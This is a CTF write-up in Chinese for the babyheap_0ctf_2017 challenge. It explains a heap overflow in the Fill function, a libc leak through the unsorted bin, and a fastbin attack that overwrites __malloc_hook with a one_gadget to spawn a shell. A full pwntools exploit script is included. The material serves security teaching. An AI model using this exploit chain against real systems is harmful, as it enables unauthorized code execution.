babyheap_0ctf_2017
使用checksec
查看:
保护全开,看到PIE的时候就想到需要泄露libc_base_addr
了
拉进IDA中看吧:
一个死循环,主要功能Allocate
、Fill
、Free
、Dump
,这边我已经修改函数名了,接下来一个一个看
首先是创建堆:
最多创建15个chunk、每个chunk的最大size是4096
*(0x18LL * i + a1) = 1;
创建chunk时给了标志1
接着是编辑堆内容:
判断了标志存不存在,若chunk存在,让用户输入size存放到v3
变量中。
漏洞点就出在这,v3
的大小并没有进行判断,导致可以堆溢出,进行下个堆的修改。
接着的Free()
函数和Dump()
函数都是中规中矩的。这里就不贴图了。
首先根据每个函数写出对应得操作函数:
def allocate(size):
r.recvuntil('Command: ')
r.sendline('1')
r.sendline(str(size))
def fill(idx,payload):
r.recvuntil('Command: ')
r.sendline('2')
r.sendline(str(idx))
r.sendline(str(len(payload)))
r.send(payload)
def free(idx):
r.recvuntil('Command: ')
r.sendline('3')
r.sendline(str(idx))
def dump(idx):
r.recvuntil('Command: ')
r.sendline('4')
r.sendline(str(idx))
r.recvuntil('Content: \n')
因为程序开启了PIE,所以我们需要先泄露程序的libc_base_addr
通过unsortedbin
的特性,若unsortedbin
中只有一个chunk的时候,这个chunk的fd和bk指针存放的都是main_arena+88
,通过main_arena
我们就可以获取到libc的基地址。
首先创建三个chunk,最后一个要大于0x80,等会儿通过这个chunk获取mian_arena地址
allocate(0x60)#0
allocate(0x40)#1
allocate(0x100)#2
创建完成之后,heap如下:
通过堆溢出,修改chunk0时修改chunk1伪造出一个fake_chunk,使fake_chunk能够覆盖到chunk2的fd和bk指针处。
fill(0,0x60*b'M'+p64(0)+p64(0x71))
修改完之后堆空间布局如下:
此时fake_chunk还不完整,我们还需通过修改chunk2将这个fake_chunk补充完整:
fill(2,0x10*b'M'+p64(0)+p64(0x71))
修改完之后堆空间布局如下:
接着free掉chunk1再申请0x60
大小的chunk就能将,chunk2的fd和bk指针所在的地址给带出来了。
本题使用的是calloc()
来创建chunk,创建时会将chunk内的有数据清零,所以我们还需要将原来的chunk2给还原回去:
fill(1,0x40*b'M'+p64(0)+p64(0x111))
还原之后的堆布局如下:
这里还需要注意的是,为了防止unsortedbin粘连,我们还需要申请一个chunk。
最后只需free chunk2、dump chunk1就能获取到main_arena+88
的地址了。
在pwndbg中输入libc可以查看到调试的时候的libc的地址:
计算公式是:libc_base = main_arena - offest
计算出offest = 0x3C 3B78
这样打远程的时候就可以计算出libc_base_addr
啦
leak出了libc base ,接着通过 改malloc_hook
为one_gadget
即可成功getshell
找到malloc_hook
地址,寻找满足fastbin 对齐检查的fake chunk addr
,计算malloc_hook距离该fake chunk addr的offset 。溢出chunk0 修改 chunk1的fd指向该fake chunk addr 多次申请堆块 成功在此处申请到chunk。
exp:
from pwn import *
#start
# r = process("../buu/babyheap_0ctf_2017")
r = remote("node4.buuoj.cn",28184)
#params
def allocate(size):
r.recvuntil('Command: ')
r.sendline('1')
r.sendline(str(size))
def fill(idx,payload):
r.recvuntil('Command: ')
r.sendline('2')
r.sendline(str(idx))
r.sendline(str(len(payload)))
r.send(payload)
def free(idx):
r.recvuntil('Command: ')
r.sendline('3')
r.sendline(str(idx))
def dump(idx):
r.recvuntil('Command: ')
r.sendline('4')
r.sendline(str(idx))
r.recvuntil('Content: \n')
#libc
gdb.attach(r,"b *$rebase(0x114D)")
allocate(0x60)#0
allocate(0x40)#1
allocate(0x100)#2
fill(0,0x60*b'M'+p64(0)+p64(0x71))
fill(2,0x10*b'M'+p64(0)+p64(0x71))
free(1)
allocate(0x60)
fill(1,0x40*b'M'+p64(0)+p64(0x111))
allocate(0x100)#3 防粘连
free(2)
dump(1)
# gdb.attach(r)
main_arena = u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = main_arena - 0x3c4b78
#attack
malloc_hook = main_arena-0x68
fake_chunk = malloc_hook-0x23
free(1)
fill(0,b"M"*0x60 + p64(0) + p64(0x71) + p64(fake_chunk) + p64(0))
allocate(0x60)
allocate(0x60)
fill(2,b'M'*3 + p64(0) + p64(0) + p64(libc_base + 0x4526a))
allocate(0x100)
r.interactive()